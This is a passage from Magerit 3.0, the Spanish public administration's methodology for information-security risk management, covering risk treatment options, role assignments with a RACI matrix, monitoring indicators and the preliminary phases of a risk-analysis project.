Riesgo cuantitativo: se comparte por medio de la contratación de seguros, de forma que a cambio de una prima, el tomador reduce el impacto de las posibles amenazas y el asegurador corre con las consecuencias. Hay multitud de tipos y cláusulas de seguros para concretar el grado de responsabilidad de cada una de las partes.

Cuando se comparten riesgos cambia, bien el conjunto de componentes del sistema, bien su valoración, requiriéndose un nuevo análisis del sistema resultante.

4.1.10. Opciones de tratamiento del riesgo: financiación Cuando se acepta un riesgo, la Organización hará bien en reservar fondos para el caso de que el riesgo se concrete y haya que responder de sus consecuencias. A veces de habla de ‘fondos de contingencia’ y también puede ser parte de los contratos de aseguramiento. Normalmente esta opción no modifica nada del sistema y nos vale el análisis de riesgos disponible.

4.2. Formalización de las actividades

Ilustración 15. Proceso de gestión de riesgos 24 Ejemplos típicos pueden ser un equipo cortafuegos, un sistema de gestión de redes privadas virtuales, tarjetas inteligentes de identificación de los usuarios, una PKI de clave pública, etc.

© Ministerio de Hacienda y Administraciones Públicas

página 54 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

4.2.1. Roles y funciones En el proceso de gestión de riesgos aparecen varios actores. Los siguientes párrafos intentan identificarlos de forma somera y explicitar cuales son sus funciones y responsabilidades. Órganos de gobierno En este epígrafe se incluyen aquellos que órganos colegiados o unipersonales que deciden la misión y los objetivos de la Organización. Típicamente se incluyen en esta categoría los altos cargos de los organismos. Cuando existe un Comité de Seguridad de la Información, suele aparecer en este nivel. Estos órganos tienen la autoridad última para aceptar los riesgos con que se opera. Se dice que son los “propietarios del riesgo”. Dirección ejecutiva En este epígrafe se incluyen aquellos órganos colegiados o unipersonales que toman decisiones que concretan cómo alcanzar los objetivos de negocio marcados por los órganos de gobierno. Típicamente se incluyen en esta categoría los responsables de unidades de negocio, los responsables de la calidad de los servicios prestados por la organización, etc. Dirección operacional En este epígrafe se incluyen aquellos órganos colegiados o unipersonales que toman decisiones prácticas para materializar las indicaciones dadas por los órganos ejecutivos. Típicamente se incluyen en esta categoría los responsables de operaciones, de producción, de explotación y similares.

Esquema Nacional de Seguridad En el Esquema Nacional de Seguridad de identifican ciertos roles que pueden verse involucrados en el proceso de gestión de riesgos: Responsable de la información Típicamente a nivel de gobierno. Tiene la responsabilidad última sobre qué seguridad requiere una cierta información manejada por la Organización. A este nivel se suele concretar la responsabilidad sobre datos de carácter personal y sobre la clasificación de la información. A veces este role lo ejerce el Comité de Seguridad de la Información. Responsable del servicio Típicamente a nivel de gobierno, aunque a veces baja a nivel ejecutivo. Tiene la responsabilidad última de determinar los niveles de servicio aceptables por la Organización. A veces este role lo asume el Comité de Seguridad de la Información. Responsable de la seguridad Típicamente a nivel ejecutivo, actuando como engranaje entre las directrices emanadas de los responsables de la información y los servicios, y el responsable del sistema. A su vez funciona como supervisor de la operación del sistema y vehículo de reporte al Comité de Seguridad de la Información. A veces se denomina a esta figura CISO (Chief Information Security Officer). En lo que respecta al proceso de gestión de riesgos, es la persona que traslada la valoración de los activos esenciales, que aprueba la declaración de aplicabilidad de salvaguardas, los procedimientos operativos, los riesgos residuales y los planes de seguridad. En esta fun© Ministerio de Hacienda y Administraciones Públicas

página 55 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

ción de informante, suele ser la persona encargada de elaborar los indicadores del esto de seguridad del sistema. Responsable del sistema A nivel operacional. Toma decisiones operativas: arquitectura del sistema, adquisiciones, instalaciones y operación del día a día. En lo que respecta al proceso de gestión de riesgos, es la persona que propone la arquitectura de seguridad, la declaración de aplicabilidad de salvaguardas, los procedimientos operativos y los planes de seguridad. También es la persona responsable de la implantación y correcta operación de las salvaguardas. Administradores y operadores Son las personas encargadas de ejecutar las acciones diarias de operación del sistema según las indicaciones recibidas de sus superiores jerárquicos.

Matriz RACI La matriz que se expone a continuación es orientativa y cada organismo deberá adecuarla a su organización particular. La matriz de la asignación de responsabilidades (RACI por las iniciales, en inglés, de los tipos de responsabilidad) se utiliza generalmente en la gestión de proyectos para relacionar actividades con recursos (individuos o equipos de trabajo). De esta manera se logra asegurar que cada una de las tareas esté asignada a un individuo o a un órgano colegiado.

rol

descripción

R Responsible Este rol realiza el trabajo y es responsable por su realización. Lo más habitual es que exista sólo un R, si existe más de uno, entonces el trabajo debería ser subdividido a un nivel más bajo, usando para ello las matrices RASCI. Es quien debe ejecutar las tareas. A Accountable Este rol se encarga de aprobar el trabajo finalizado y a partir de ese momento, se vuelve responsable por él. Sólo puede existir un A por cada tarea. Es quien debe asegurar que se ejecutan las tareas. C Consulted

Este rol posee alguna información o capacidad necesaria para terminar el trabajo. Se le informa y se le consulta información (comunicación bidireccional).

I

Este rol debe ser informado sobre el progreso y los resultados del trabajo. A diferencia del Consultado, la comunicación es unidireccional.

Informed

Tabla 5. Roles en procesos distribuidos

RINF O

RSER V

RSE G

RSI S

niveles de seguridad requeridos por la información

A

I

R

C

niveles de seguridad requeridos por el servicio

I

A

R

C

análisis de riesgos

I

I

A/R

C

declaración de aplicabilidad

I

I

A/R

C

A

A

R

I

I

I

C

A

R

A

C

R

Tarea

Dirección

aceptación del riesgo residual implantación de las medidas de seguridad supervisión de las medidas de seguridad © Ministerio de Hacienda y Administraciones Públicas

I

AS S

página 56 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos Dirección

RINF O

RSER V

RSE G

RSI S

AS S

I

I

I

A

I

R

planes de mejora de la seguridad

A

C

planes de concienciación y formación

A

C

planes de continuidad

C

A

seguridad en el ciclo de vida

C

A

Tarea estado de seguridad del sistema

Tabla 6. Matriz RACI - Tareas relacionadas con la gestión de riesgos

Siendo Dirección – Alta Dirección, Órganos de Gobierno RINFO – Responsable de la Información RSERV – Responsable del Servicio RSEG – Responsable de la Seguridad RSIS – Responsable (operacional) del Sistema ASS – Administrador(es) de la Seguridad del Sistema

4.2.2. Contexto Hay que documentar el entorno externo en el que opera la Organización: cultural, social y político. Esto incluye tanto aspectos nacionales como internacionales, viniendo marcados por el ámbito de actividad de la Organización. Hay que identificar las obligaciones legales, reglamentarias y contractuales. Por ejemplo, suele haber obligaciones asociadas a — tratamiento de datos de carácter personal, — tratamiento de información clasificada, — tratamiento de información y productos sometidos a derechos de propiedad intelectual — prestación de servicios públicos — operación de infraestructuras críticas — etc. Hay que identificar el entorno en cuanto competencia y posicionamiento respecto de la competencia. Hay que identificar el contexto interno en el que se desenvuelve la actividad de la Organización: política interna, compromisos con los accionistas y con los trabajadores o sus representantes. La identificación del contexto en el que se desarrolla el proceso de gestión de riesgos debe ser objeto de una revisión continua para adaptarse a las circunstancias de cada momento.

4.2.3. Criterios Múltiples aspectos relacionados con los riesgos son objeto de estimaciones. Conviene que las estimaciones sean lo más objetivas que sea posible o. al menos, que sean repetibles, explicables y comparables. En particular conviene establecer escalas de valoración para — valorar los requisitos de seguridad de la información — valorar los requisitos de disponibilidad de los servicios © Ministerio de Hacienda y Administraciones Públicas

página 57 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

— estimar la probabilidad de una amenaza — estimar las consecuencias de un incidente de seguridad — estimar el nivel de riesgo a partir de las estimaciones de impacto y probabilidad — … (ver “Libro II – Catálogo de Elementos”) Hay que establecer reglas y/o criterios para tomar decisiones de tratamiento: — umbrales de impacto — umbrales de probabilidad — umbrales combinados de impacto y probabilidad — umbrales de nivel de riesgo — impacto en la reputación de la Organización o de las personas responsables — impacto en la posición de competencia — impacto comparado con otras áreas de riesgo: financiero, regulatorio, medioambiental, seguridad industrial, etc — combinaciones o concurrencia de riesgos que pudieran tener un efecto combinado — amenazas especialmente sensibles (puede ser por motivos técnicos, porque adolecen de una amplia incertidumbre o porque su ocurrencia causaría una notable alarma social con grave daño para la reputación o la continuidad de las operaciones de la Organización, incluso si sus consecuencia técnicas o materiales son modestas) — …

4.2.4. Evaluación de los riesgos Se sigue la metodología descrita en el capítulo anterior. La primera vez que se ejecuta esta actividad puede ser conveniente lanzar un proyecto específico de análisis de riesgos. Ver capítulo siguiente.

4.2.5. Decisión de tratamiento Se pueden tomar las diferentes opciones mencionadas al principio de este capítulo. Hay múltiples formas de reducir el riesgo: — eliminar el riesgo eliminando sus causas: información tratada, servicios prestados, arquitectura del sistema, — reducir o limitar el impacto — reducir la probabilidad de que la amenaza ocurra — en el caso de amenazas derivadas de defectos de los productos (vulnerabilidades técnicas): reparar el producto (por ejemplo, aplicar los parches del fabricante) — implantar nuevas salvaguardas o mejorar la calidad de las presentes — externalizar partes del sistema — contratar seguros de cobertura A veces la decisión consiste en aceptar un incremento del riesgo: — aceptando trabajar con nueva información o prestar nuevos servicios — alterando la arquitectura del sistema — reduciendo las salvaguardas presentes — reduciendo la calidad de las salvaguardas presentes (es decir, dedicando menos recursos) © Ministerio de Hacienda y Administraciones Públicas

página 58 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

En última instancia siempre hay que acabar aceptando un cierto riesgo residual, en cuyo caso es posible que se decide reservar fondos para hacer frente a alguna contingencia.

4.2.6. Comunicación y consulta Antes de tomar ninguna decisión relativa al tratamiento de un riesgo hay que entender para qué se usa el sistema y cómo se usa. Esto quiere decir mantener un contacto fluido con varios actores — los órganos de gobierno y decisión, pues toda decisión debe estar alineada con la misión de la Organización — los usuarios y técnicos de sistemas, pues toda decisión debe tener en cuenta su impacto en la productividad y sobre la usabilidad del sistema — los proveedores, pues toda decisión debe contar con su colaboración Hay que tener en cuenta que cualquier medida de seguridad que merme la productividad, dificulte la operación del sistema, o requiera una elaborada formación de los usuarios, está condenada al fracaso, Toda medida de seguridad debe estar — apoyada por la Dirección — amparada por la Política de Seguridad de la Organización — apoyada por normativa clara y legible, ampliamente divulgada — explicada de forma breve, clara y directa en procedimientos operativos de seguridad Por último es interesante disponer de indicadores que midan el grado de aceptación por parte de los usuarios, identificando tanto el grado de cumplimiento como los problemas que causa su seguimiento.

4.2.7. Seguimiento y revisión El análisis de los riesgos es un ejercicio formal, basado en múltiples estimaciones y valoraciones que pueden no compadecerse con la realidad. Es absolutamente necesario que el sistema esté bajo monitorización permanente. Los indicadores de impacto y riesgo potenciales son útiles para decidir qué puntos deben ser objeto de monitorización. Y debe estar preparado un sistema de detección precoz de posibles incidentes (en base a indicadores predictivos) así como un sistema de reacción a incidentes de seguridad. Se procurará disponer de un conjunto de indicadores clave de riesgo (KRI – Key Risk Indicators). Estos indicadores: o

son propuestos por el Responsable de la Seguridad;

o

su definición es acordada por el Responsable de la Seguridad y el propietario del riesgo; la definición indicará exactamente:

— en qué medidas se basan, — cuál es el algoritmo de cálculo, — la periodicidad de evaluación y — los umbrales de aviso y alarma (atención urgente) o

se le presentan al responsable correspondiente

— rutinariamente, con la periodicidad establecida, — puntualmente, por demanda del propietario del riesgo medido, — y extraordinariamente cuando se supera un umbral de riesgo o

estos indicadores estarán a disposición de los auditores

© Ministerio de Hacienda y Administraciones Públicas

página 59 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

La responsabilidad de monitorizar un riesgo recae en su propietario, sin perjuicio de que la función puede ser delegada en el día a día, retomando el control de la situación cuando hay que tomar medidas para atajar un riesgo que se ha salido de los márgenes tolerables. Cada vez que la realidad difiere de nuestras estimaciones conviene hacer un ciclo de revisión del análisis y las decisiones de tratamiento.

Servicios subcontratados Cuando dependemos de terceros es especialmente importante conocer el desempeño de nuestros proveedores, tanto con un buen sistema de reporte, escalado y resolución de los incidentes de seguridad, como en el establecimiento de indicadores predictivos. Del análisis de dependencias realizado durante el análisis de riesgos, tenemos información de en qué medida y en qué dimensiones de seguridad dependemos de cada proveedor externo. De esta información se sigue qué elementos debemos monitorizar para asegurarnos que satisfacen nuestros requisitos de seguridad.

4.3. Documentación del proceso Documentación interna •

Definición de roles, funciones y esquemas de reporte

•

Criterios de valoración de la información

•

Criterios de valoración de los servicios

•

Criterios de evaluación de los escenarios de impacto y riesgo

Documentación para otros •

Plan de Seguridad

4.4. Indicadores de control del proceso de gestión de riesgos √ actividad

tarea

Se han definido los roles y responsabilidades respecto de la gestión de riesgos

4.2.1

Se ha establecido el contexto de gestión de riesgos

4.2.2

Se han establecido los criterios de valoración de riesgos y toma de decisiones de tratamiento

4.2.3

Se han interpretado los riesgos residuales en términos de impacto en el negocio o misión de la Organización

4.2.4

Se han identificado y valorado opciones de tratamiento de los riesgos residuales (propuesta de programas de seguridad)

4.2.5

Los órganos de gobierno han adoptado una propuesta de tratamiento — evitar el riesgo — prevenir: mitigar la probabilidad de que ocurra — mitigar el impacto si ocurriera — compartir el riesgo con un tercero — asumir el riesgo

4.2.5

Se han previsto recursos para acometer el plan de seguridad

4.2.5

© Ministerio de Hacienda y Administraciones Públicas

página 60 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

√ actividad

tarea

Se han previsto recursos para atender a contingencias

4.2.5

Se han comunicado las decisiones a las partes afectadas

4.2.6

Se ha desplegado un sistema de monitorización constante para detectar modificaciones en los supuestos de análisis de riesgos

4.2.7

Se han establecido las normas y procedimientos de actuación en caso de detectar desviaciones de los supuestos

4.2.7

© Ministerio de Hacienda y Administraciones Públicas

página 61 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

5. Proyectos de análisis de riesgos Las actividades de análisis de riesgo son recurrentes dentro del proceso de gestión, ya que hay que estar continuamente revisando el análisis y manteniéndolo al día. Podemos llamar ‘análisis de riesgos marginales’ a las salidas de estas actividades que, generalmente, requieren poco volumen de trabajo en cada iteración. Pero antes de pasar a las iteraciones marginales, hay que disponer de un análisis de riesgos que sirva de plataforma de trabajo. Esto ocurre la primera vez que se realiza un análisis de riesgos y cuando la política de la organización marque que se prepare una nueva plataforma, sea por razones formales o porque los cambios acumulados justifican una revisión completa. Cuando se realiza un análisis de riesgos partiendo de cero, se consumen una serie de recursos apreciables y conviene planificar estas actividades dentro de un proyecto, sea interno o se subcontrate a una consultora externa. En esta sección se presentan las consideraciones que se deben tener en cuenta para que este proyecto llegue a buen término. PAR.1 – Actividades preliminares PAR.2 – Elaboración del análisis de riesgos PAR.3 – Comunicación de resultados

5.1. Roles y funciones Durante la ejecución del proyecto es frecuente que se creen algunos roles específicos para llevar el proyecto a buen fin. Comité de Seguimiento Está constituido por los responsables de las unidades afectadas por el proyecto; así como por los responsables de la informática y de la gestión dentro de dichas unidades. También será importante la participación de los servicios comunes de la Organización (planificación, presupuesto, recursos humanos, administración, etc.) En cualquier caso la composición del comité depende de las características de las unidades afectadas. Las responsabilidades de este comité consisten en •

resolver las incidencias durante el desarrollo del proyecto

•

asegurar la disponibilidad de recursos humanos con los perfiles adecuados y su participación en las actividades donde es necesaria su colaboración

•

aprobar los informes intermedios y finales de cada proceso

•

elaborar los informes finales para el comité de dirección

Este comité se suele nombrar por el Comité de Seguridad de la Información, y dicho comité reporta el avance del proyecto. A veces el Comité de Seguimiento toma la forma de subcomité del Comité de Seguridad de la Información. Equipo de proyecto Formado por personal experto en tecnologías y sistemas de información y personal técnico cualificado del dominio afectado, con conocimientos de gestión de seguridad en general y de la aplicación de la metodología de análisis y gestión de riesgos en particular. Si el proyecto se hace con asistencia técnica mediante contratación externa, el subsiguiente personal especialista en seguridad de sistemas de información se integrará en este equipo de proyecto. Las responsabilidades de este equipo consisten en •

llevar a cabo las tareas del proyecto

•

recopilar, procesar y consolidar datos

•

elaborar los informes

© Ministerio de Hacienda y Administraciones Públicas

página 62 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

El Equipo de Proyecto reporta al Comité de Seguimiento a través del Director del Proyecto. Grupos de Interlocutores Está formado por usuarios representativos dentro de las unidades afectadas por el proyecto. Lo constituyen varios posibles subgrupos: •

Responsables de servicio, conscientes de la misión de la Organización y sus estrategias a medio y largo plazo

•

Responsables de servicios internos

•

Personal de explotación y operación de los servicios informáticos, conscientes de los medios desplegados (de producción y salvaguardas) y de las incidencias habituales

Además de dichos órganos colegiados, hay que identificar algunos roles singulares: Promotor Es una figura singular que lidera las primeras tareas del proyecto, perfilando su oportunidad y alcance para lanzar el proyecto de análisis de riesgos propiamente dicho. Debe ser una persona con visión global de los sistemas de información y su papel en las actividades de la Organización, sin necesidad de conocer los detalles; pero si al tanto de las incidencias. Director del Proyecto Debe ser un directivo de alto nivel, con responsabilidades en seguridad dentro de la Organización, de sistemas de información o, en su defecto, de planificación, de coordinación o de materias, servicios o áreas semejantes. Es la cabeza visible del equipo de proyecto e interlocutor con el Responsable de la Seguridad de la Organización.. Enlace operacional Será una persona de la Organización con buen conocimiento de las personas y de las unidades implicadas en el proyecto, que tenga capacidad para conectar al equipo de proyecto con el grupo de usuarios. Es el interlocutor visible del comité de seguimiento con los grupos de usuarios. Conviene recordar que un proyecto de análisis de riesgos siempre es mixto por su propia naturaleza; es decir, requiere la colaboración permanente de especialistas y usuarios tanto en las fases preparatorias como en su desarrollo. La figura del enlace operacional adquiere una relevancia permanente que no es habitual en otro tipo de proyectos más técnicos. El proyecto de análisis de los riesgos se lleva a cabo por medio de las siguientes tareas: PAR – Proyecto de Análisis de Riesgos PAR.1 – Actividades preliminares PAR.11 – Estudio de oportunidad PAR.12 – Determinación del alcance del proyecto PAR.13 – Planificación del proyecto PAR.14 – Lanzamiento del proyecto PAR.2 – Elaboración del análisis de riesgos PAR.3 – Comunicación de resultados

© Ministerio de Hacienda y Administraciones Públicas

página 63 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

5.2. PAR.1 – Actividades preliminares Tarea PAR.11: Estudio de oportunidad Se fundamenta la oportunidad de la realización, ahora, del proyecto de análisis de riesgos, enmarcándolo en el desarrollo de las demás actividades de la Organización. El resultado de esta actividad es el informe denominado “preliminar”.

Tarea PAR.12: Determinación del alcance del proyecto Se definen los objetivos finales del proyecto, su dominio y sus límites. El resultado de esta actividad es un perfil de proyecto de análisis de riesgos.

Tarea PAR.13: Planificación del proyecto Se determinan las cargas de trabajo que supone la realización del proyecto. Normalmente la evolución del proyecto viene marcada por una serie de entrevistas con los interlocutores que conocen la información relativa a algún activo o grupo de activos del sistema bajo análisis. Se planifican las entrevistas que se van a realizar para la recogida de información: quiénes van a ser entrevistados. Se elabora el plan de trabajo para la realización del proyecto. En esta actividad se determinan los participantes y se estructuran los diferentes grupos y comités para llevar a cabo el proyecto. El resultado de esta actividad está constituido por: •

un plan de trabajo para el proyecto

•

procedimientos de trabajo

Tarea PAR.14: Lanzamiento del proyecto Se adaptan los cuestionarios para la recogida de información adaptándolos al proyecto presente. Para ello se parte de los criterios establecidos dentro del Proceso de Gestión de Riesgos. También se realiza una campaña informativa de sensibilización a los afectados sobre las finalidades y requerimientos de su participación. El resultado de esta actividad está constituido por: •

los cuestionarios para las entrevistas

•

el catálogo de tipos de activos

•

la relación de dimensiones de seguridad y

•

los criterios de valoración

5.2.1. Tarea PAR.11: Estudio de oportunidad PAR: Proyecto de análisis de riesgos PAR.1: Actividades preliminares PAR.11: Determinar la oportunidad Objetivos • Identificar o suscitar el interés de la Dirección de la Organización en la realización de un proyecto de análisis de riesgos

Productos de entrada

© Ministerio de Hacienda y Administraciones Públicas

página 64 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

PAR: Proyecto de análisis de riesgos PAR.1: Actividades preliminares PAR.11: Determinar la oportunidad Productos de salida •

Informe preliminar recomendando la elaboración del proyecto

•

Sensibilización y apoyo de la Dirección a la realización del proyecto

•

Creación del comité de seguimiento

Técnicas, prácticas y pautas •

Participantes •

El promotor

La Dirección suele ser muy consciente de las ventajas que aportan las técnicas electrónicas, informáticas y telemáticas a su funcionamiento; pero no tanto de los nuevos problemas de seguridad que estas técnicas implican, o de las obligaciones legales o reglamentarias que les afectan En toda Organización pública o privada es importante transformar en medidas concretas la creciente preocupación por la falta de seguridad de los sistemas de información, por su soporte y entorno, puesto que sus efectos no sólo afectan a dichos sistemas, sino al propio funcionamiento de la Organización y, en las situaciones críticas, a su propia misión y capacidad de supervivencia.

Desarrollo La iniciativa para la realización de un proyecto de análisis de riesgos parte de un promotor interno o externo a la Organización, consciente de los problemas relacionados con la seguridad de los sistemas de información, como por ejemplo: •

Incidentes continuados relacionados con la seguridad.

•

Inexistencia de previsiones en cuestiones relacionadas con la evaluación de necesidades y medios para alcanzar un nivel aceptable de seguridad de los sistemas de información que sea compatible con el cumplimiento correcto de la misión y funciones de la Organización.

•

Reestructuraciones en los productos o servicios proporcionados.

•

Cambios en la tecnología utilizada.

•

Desarrollo de nuevos sistemas de información.

El promotor puede elaborar un cuestionario-marco (documento poco sistematizable que deberá crear en cada caso concreto) para provocar la reflexión sobre aspectos de la seguridad de los sistemas de información por parte de : Los responsables de las unidades operativas (responsables de servicios). El cuestionario permite proceder a un examen informal de la situación en cuanto a la seguridad de sus sistemas de información; deben poder expresar su opinión por los proyectos de seguridad ya realizados (con su grado de satisfacción o con las limitaciones de éstos), así como sus expectativas ante la elaboración de un proyecto de análisis de riesgos 25 . Esta aproximación de alto nivel permite obtener una primera visión de los objetivos concretos y las opciones que tendrían que subyacer a la elaboración del proyecto. 25 Probablemente no se conozca lo que esto significa y haya que incluir en el cuestionario marco una sucinta explicación de qué es y qué objetivos persigue el análisis de riesgos en general y el proyecto en particular.

© Ministerio de Hacienda y Administraciones Públicas

página 65 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Los responsables de informática. El cuestionario permite obtener una panorámica técnica para la elaboración del proyecto y posibilita abordar el estudio de oportunidad de realización, tras integrar las opciones anteriores. De las respuestas al cuestionario-marco y de las entrevistas mantenidas con los responsables y colectivos anteriores, el promotor obtiene una primera aproximación sobre las funciones, los servicios y los productos implicados en cuestiones de seguridad de los sistemas de información, la ubicación geográfica de aquéllos, los medios técnicos, los medios humanos, etc. Con estos elementos el promotor realiza el informe preliminar recomendando la elaboración del proyecto de análisis de riesgos e incluyendo estos elementos: •

Exposición de los argumentos básicos.

•

Relación de antecedentes sobre la seguridad de los sistemas de información (Plan Estratégico, Plan de Actuación, etc.).

•

Primera aproximación al dominio a incluir en el proyecto en función de

•

•

las finalidades de las unidades o departamentos

•

las orientaciones gerenciales y técnicas

•

la estructura de la Organización

•

el entorno técnico.

Primera aproximación de los medios, tanto humanos como materiales, para la realización del proyecto.

El promotor presenta este informe preliminar a la Dirección que puede decidir: •

aprobar el proyecto, o bien

•

modificar su dominio y/o sus objetivos, o bien

•

retrasar el proyecto.

5.2.2. Tarea PAR.12: Determinación del alcance del proyecto Una vez que se ha constatado la oportunidad de realizar el proyecto y se cuenta con el apoyo de la Dirección, esta actividad estima los elementos de planificación del proyecto, es decir los participantes y sus cargas de trabajo. En dicha estimación se ha de tener en cuenta la posible existencia de otros planes (por ejemplo un Plan Estratégico de Sistemas de Información o de Seguridad general en las unidades que pueden ser afectadas o en la Organización) y el plazo de tiempo considerado para la puesta en práctica del proyecto. En particular, la existencia de un Plan Estratégico de Sistemas de Información para las unidades que pueden ser afectadas dentro de la Organización puede determinar en gran medida el alcance y la extensión de las actividades que se realicen en esta actividad.

PAR: Proyecto de análisis de riesgos PAR.1: Actividades preliminares PAR.12: Determinación del alcance del proyecto Objetivos •

Determinar los objetivos del proyecto, diferenciados según horizontes temporales a corto y medio plazo

•

Determinar las restricciones generales que se imponen sobre el proyecto

•

Determinar el dominio, alcance o perímetro del proyecto

© Ministerio de Hacienda y Administraciones Públicas

página 66 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

PAR: Proyecto de análisis de riesgos PAR.1: Actividades preliminares PAR.12: Determinación del alcance del proyecto Productos de entrada •

Recopilación de la documentación pertinente de la Organización

Productos de salida •

Especificación detallada de los objetivos del proyecto

•

Relación de restricciones generales

•

Relación de unidades de la Organización que se verán afectadas como parte del proyecto

•

Lista de roles relevantes en la unidades incluidas en el alcance del proyecto

•

los activos esenciales

•

los puntos de interconexión con otros sistemas

•

los proveedores externos

Técnicas, prácticas y pautas •

Entrevistas (ver "Guía de Técnicas")

•

Reuniones

•

31010:B.1: Brainstorming

•

31010:B.2: Structured or semi-structured interviews

•

31010:B.3: Delphi technique

Participantes •

El comité de seguimiento

Un proyecto de análisis de riesgos puede perseguir objetivos a muy corto plazo tales como el aseguramiento de cierto sistema o un cierto proceso de negocio, o puede pretender objetivos más amplios como fuera el análisis global de la seguridad de la Organización. En todo caso, hay que determinarlo. Especialmente a la hora de tomar acciones correctoras, hay que tener en cuenta que “no todo vale”, sino que el proyecto se encontrará con una serie de restricciones, no necesariamente técnicas, que establecen un marco al que atenerse. Para incorporar las restricciones al análisis y gestión de riesgos, estas se agrupan por distintos conceptos, típicamente: Restricciones políticas o gerenciales Típicas de organizaciones gubernamentales o fuertemente relacionadas con organismos gubernamentales, bien como proveedores o como suministradores de servicios. Restricciones estratégicas Derivadas de la evolución prevista de la estructura u objetivos de la Organización. Restricciones geográficas Derivadas de la ubicación física de la Organización o de su dependencia de medios físicos de comunicaciones. Islas, emplazamientos fuera de las fronteras, etc. Restricciones temporales Que toman en consideración situaciones coyunturales: conflictividad laboral, crisis internacional, cambio de la propiedad, reingeniería de procesos, etc. © Ministerio de Hacienda y Administraciones Públicas

página 67 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Restricciones estructurales Tomando en consideración la organización interna: procedimientos de toma de decisiones, dependencia de casas matrices internacionales, etc. Restricciones funcionales Que tienen en cuenta los objetivos de la Organización. Restricciones legales Leyes, reglamentos, regulaciones sectoriales, contratos externos e internos, etc. Restricciones relacionadas con el personal Perfiles laborales, compromisos contractuales, compromisos sindicales, carreras profesionales, etc. Restricciones metodológicas Derivadas de la naturaleza de la organización y sus hábitos o habilidades de trabajo que pueden imponer una cierta forma de hacer las cosas. Restricciones culturales La “cultura” o forma interna de trabajar puede ser incompatible con ciertas salvaguardas teóricamente ideales. Restricciones presupuestarias La cantidad de dinero es importante; pero también la forma de planificar el gasto y de ejecutar el presupuesto

Alcance Esta tarea identifica las unidades objeto del proyecto y especifica las características generales de dichas unidades en cuanto a responsables, servicios proporcionados y ubicaciones geográficas. También identifica las principales relaciones de las unidades objeto del proyecto con otras entidades, por ejemplo el intercambio de información en diversos soportes, el acceso a medios informáticos comunes, etc. La tarea presume un principio básico: el análisis y la gestión de riesgos debe centrarse en un dominio limitado, que puede incluir varias unidades o mantenerse dentro de una sola unidad (según la complejidad y el tipo de problema a tratar), ya que un proyecto de ámbito demasiado amplio o indeterminado podría ser inabarcable, por excesivamente generalista o por demasiado extendido en el tiempo, con perjuicio en las estimaciones de los elementos del análisis. Para que el alcance quede determinado debemos concretar: — los activos esenciales: información que se maneja y servicios que se prestan — los puntos de intercambio de interconexión con otros sistemas, aclarando qué información se intercambia y qué servicios se prestan mutuamente — los proveedores externos en los que se apoya nuestro sistema de información

© Ministerio de Hacienda y Administraciones Públicas

página 68 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

5.2.3. Tarea PAR.13: Planificación del proyecto Proyecto de análisis de riesgos PAR.1: Actividades preliminares PAR.13: Planificación del proyecto Objetivos •

Definir los grupos de interlocutores: usuarios afectados en cada unidad

•

Planificar las entrevistas de recogida de información

•

Determinar el volumen de recursos necesarios para la ejecución del proyecto: humanos, temporales y financieros

•

Elaborar el calendario concreto de realización de las distintas etapas, actividades y tareas del proyecto

•

Establecer un calendario de seguimiento que defina las fechas tentativas de reuniones del comité de dirección, el plan de entregas de los productos del proyecto, las posibles modificaciones en los objetivos marcados, etc

Productos de entrada •

Resultados de la actividad A1.2, Determinación del alcance del proyecto

Productos de salida •

Relación de participantes en los grupos de interlocutores

•

Plan de entrevistas

•

Informe de recursos necesarios

•

Informe de cargas

Técnicas, prácticas y pautas •

Planificación de proyectos

Participantes •

El director de proyecto

•

El comité de seguimiento

El plan de entrevistas debe detallar a qué persona se va a entrevistar, cuándo y con qué objetivo. Este plan permite determinar la carga que el proyecto va a suponer para las unidades afectadas, bien del dominio, bien del entorno. El plan de entrevistas es especialmente importante cuando los sujetos a entrevistar se hayan en diferentes localizaciones geográficas y la entrevista requiere el desplazamiento de una o ambas partes. También conviene ordenar las entrevistas de forma que primero se recaben las opiniones más técnicas y posteriormente las gerenciales, de forma que el entrevistador pueda evolucionar las preguntas tomando en consideración hechos (experiencia histórica) antes que valoraciones y perspectivas de servicio a terceros.

5.2.4. Tarea PAR.14: Lanzamiento del proyecto Esta actividad completa las tareas preparatorias del lanzamiento del proyecto: empezando por seleccionar y adaptar los cuestionarios que se utilizarán en la recogida de datos y por realizar la campaña informativa de sensibilización a los implicados. © Ministerio de Hacienda y Administraciones Públicas

página 69 (de 127)

Magerit 3.0

Proyectos de análisis de riesgos

Proyecto de análisis de riesgos PAR.1: Actividades preliminares PAR.14: Lanzamiento del proyecto Objetivos •

Disponer de los elementos de trabajo para acometer el proyecto

Productos de entrada •

Marco de trabajo establecido en el Proceso de Gestión de Riesgos: criterios y relaciones con las partes afectadas

Productos de salida •

Cuestionarios adaptados

•

Determinar el catálogo de tipos de activos

•

Determinar las dimensiones de valoración de activos

•

Determinar los niveles de valoración de activos, incluyendo una guía unificada de criterios para asignar un cierto nivel a un cierto activo

•

Determinar los niveles de valoración de las amenazas: frecuencia y degradación

•

Asignar los recursos necesarios (humanos, de organización, técnicos, etc.) para la realización del proyecto

•

Informar a las unidades afectadas

•

Crear un ambiente de conocimiento general de los objetivos, responsables y plazos

Técnicas, prácticas y pautas •

Cuestionarios (ver "Catálogo de Elementos")

Participantes •

El director del proyecto

•

El equipo de proyecto

